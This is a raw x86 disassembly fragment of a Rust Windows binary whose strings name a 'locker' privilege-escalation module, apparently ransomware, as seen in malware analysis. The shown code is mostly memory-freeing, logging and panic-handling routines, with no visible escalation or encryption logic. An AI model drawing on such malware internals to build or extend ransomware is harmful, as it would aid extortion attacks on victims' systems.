add esp, 4
mov ecx, dword [eax + 4]
cmp dword [ecx + 4], 0
je 0x4ad2c8
mov eax, dword [eax]
cmp dword [ecx + 8], 9
jb 0x4ad2ba
mov eax, dword [eax - 4]
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
push dword [esp + 0xc]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
nop dword [eax]
mov eax, dword [esp + 0x30]
mov word [ebx], 0
test eax, 0x7fffffff
je 0x4ad2fe
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 0xa8], 0x7fffffff
mov word [esi], 0
je 0x4ad31e
push esi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x34]
test dword [esp + 0x1e8], 0x7fffffff
mov ebx, dword [esp + 0x44]
mov word [eax], 0
je 0x4ad346
push eax
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
test dword [esp + 0x1ec], 0x7fffffff
mov esi, dword [esp + 0xd0]
mov word [ebx], 0
je 0x4ad36d
push ebx
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [0x6f11c8]
test edi, edi
je 0x4ad480
cmp eax, 3
lea edi, [esp + 0xe0]
jb 0x4ad58e
lea eax, [esp + 0x48]
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea ebx, [esp + 0x5c]
mov dword [esp + 0x5c], eax
lea eax, [esp + 0xb0]
mov dword [esp + 0x60], 0x41e510
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], 0x41e510
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x62149c
mov dword [esp + 0xf0], 2
mov dword [esp + 0xf4], 0
mov dword [esp + 0xfc], ebx
mov dword [esp + 0x100], 2
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x2ca
jmp 0x4ad572
cmp eax, 3
lea edi, [esp + 0xe0]
jb 0x4ad58e
lea eax, [esp + 0x48]
mov ecx, 0x6857f8
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea ebx, [esp + 0x5c]
mov dword [esp + 0x5c], eax
lea eax, [esp + 0xb0]
mov dword [esp + 0x60], 0x41e510
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], 0x41e510
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x621474
mov dword [esp + 0xf0], 2
mov dword [esp + 0xf4], 0
mov dword [esp + 0xfc], ebx
mov dword [esp + 0x100], 2
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x2cd
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
push edi
push ecx
call dword [eax + 0x14]
add esp, 8
cmp dword [esp + 0xc4], 0
je 0x4ad5ac
push dword [esp + 0xc0]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0x4c], 0
je 0x4ad5c4
push dword [esp + 0x48]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
cmp dword [esp + 0xb4], 0
je 0x4ac3b0
push dword [esp + 0xb0]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x4ac3b0
mov eax, dword [0x6f11c8]
cmp eax, 2
lea eax, [esp + 8]
jbe 0x4ad722
lea ecx, [esp + 0xb0]
mov edx, str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs
lea esi, [esp + 0x5c]
mov dword [esp + 0x38], ecx
lea ecx, [esp + 0x48]
mov dword [esp + 0x20], ecx
lea ecx, [esp + 0xdc]
mov dword [esp + 8], ecx
lea ecx, [esp + 0x38]
mov dword [esp + 0x5c], ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0x60], 0x55cec0
mov dword [esp + 0x64], ecx
mov dword [esp + 0x68], 0x55cec0
mov dword [esp + 0x6c], eax
mov dword [esp + 0x70], 0x4ae120
mov ecx, 0x6857f8
mov eax, dword [0x6f1080]
mov dword [esp + 0xe0], 3
mov dword [esp + 0xe4], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0xe8], 0x2f
mov dword [esp + 0xec], 0x6213e0
mov dword [esp + 0xf0], 3
mov dword [esp + 0xf4], 0
mov dword [esp + 0xfc], esi
mov dword [esp + 0x100], 3
mov dword [esp + 0x104], 0
mov dword [esp + 0x10c], 0x2f
mov dword [esp + 0x108], str.locker::core::os::windows::privilege_escalationsrc_core_os_windows_privilege_escalation.rs
mov dword [esp + 0x110], 0
mov dword [esp + 0x118], 0x2b
mov dword [esp + 0x114], 0x6833b7
mov dword [esp + 0x11c], 1
mov dword [esp + 0x120], 0x2b1
cmp eax, 2
mov eax, dword [0x605020]
cmovne eax, ecx
mov ecx, dword [str._cargo_registry_src_github.com_1ecc6299db9ec823_utfx_0.1.0_src_ucstr.rs]
cmovne ecx, edx
push edi
push ecx
call dword [eax + 0x14]
add esp, 8
cmp dword [esp + 0x4c], 0
mov esi, dword [esp + 0xd0]
jne 0x4ad5b3
jmp 0x4ad5c4
cmp dword [esp + 0x1f4], 0
mov eax, dword [esp + 0xa0]
mov edi, dword [esp + 0xa4]
je 0x4ac1d3
push dword [esp + 0xd8]
push 0
push dword [0x6f1130]
mov esi, eax
call sub.KERNEL32.dll_HeapFree
mov eax, esi
jmp 0x4ac1d3
xor edi, edi
cmp dword [esp + 0x24], 0
je 0x4ad78c
push dword [esp + 0x20]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0xac]
test esi, 0x7fffffff
mov word [eax], 0
jne 0x4ac05a
jmp 0x4ac068
push dword [esp + 0x10]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea esi, [esp + 0xc0]
mov eax, dword [0x6f1130]
test eax, eax
jne 0x4ac09f
jmp 0x4ac08d
mov ecx, dword [esp + 0x34]
mov dword [esp + 0xe0], ebx
mov dword [esp + 0xe4], edx
mov edx, 0x2b
mov dword [esp + 0xe8], ecx
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov dword [esp + 0xec], eax
push 0x683444
jmp 0x4ad88c
mov dword [esp + 0xe0], esi
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], ecx
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov edx, 0x2b
mov dword [esp + 0xec], eax
push 0x683454
jmp 0x4ad88c
mov dword [esp + 0xe0], esi
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], ecx
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov edx, 0x2b
mov dword [esp + 0xec], eax
push 0x683464
jmp 0x4ad88c
mov dword [esp + 0xe0], edi
mov dword [esp + 0xe4], edx
mov dword [esp + 0xe8], ecx
mov ecx, str.called__Result::unwrap____on_an__Err__value
mov edx, 0x2b
mov dword [esp + 0xec], eax
push 0x683474
push 0x683358
lea eax, [esp + 0xe8]
push eax
call fcn.0045d480
add esp, 0xc
ud2
mov ecx, 9
jmp 0x4ad8b3
call fcn.0040a620
ud2
mov ecx, esi
mov edx, 1
call fcn.0040a640
ud2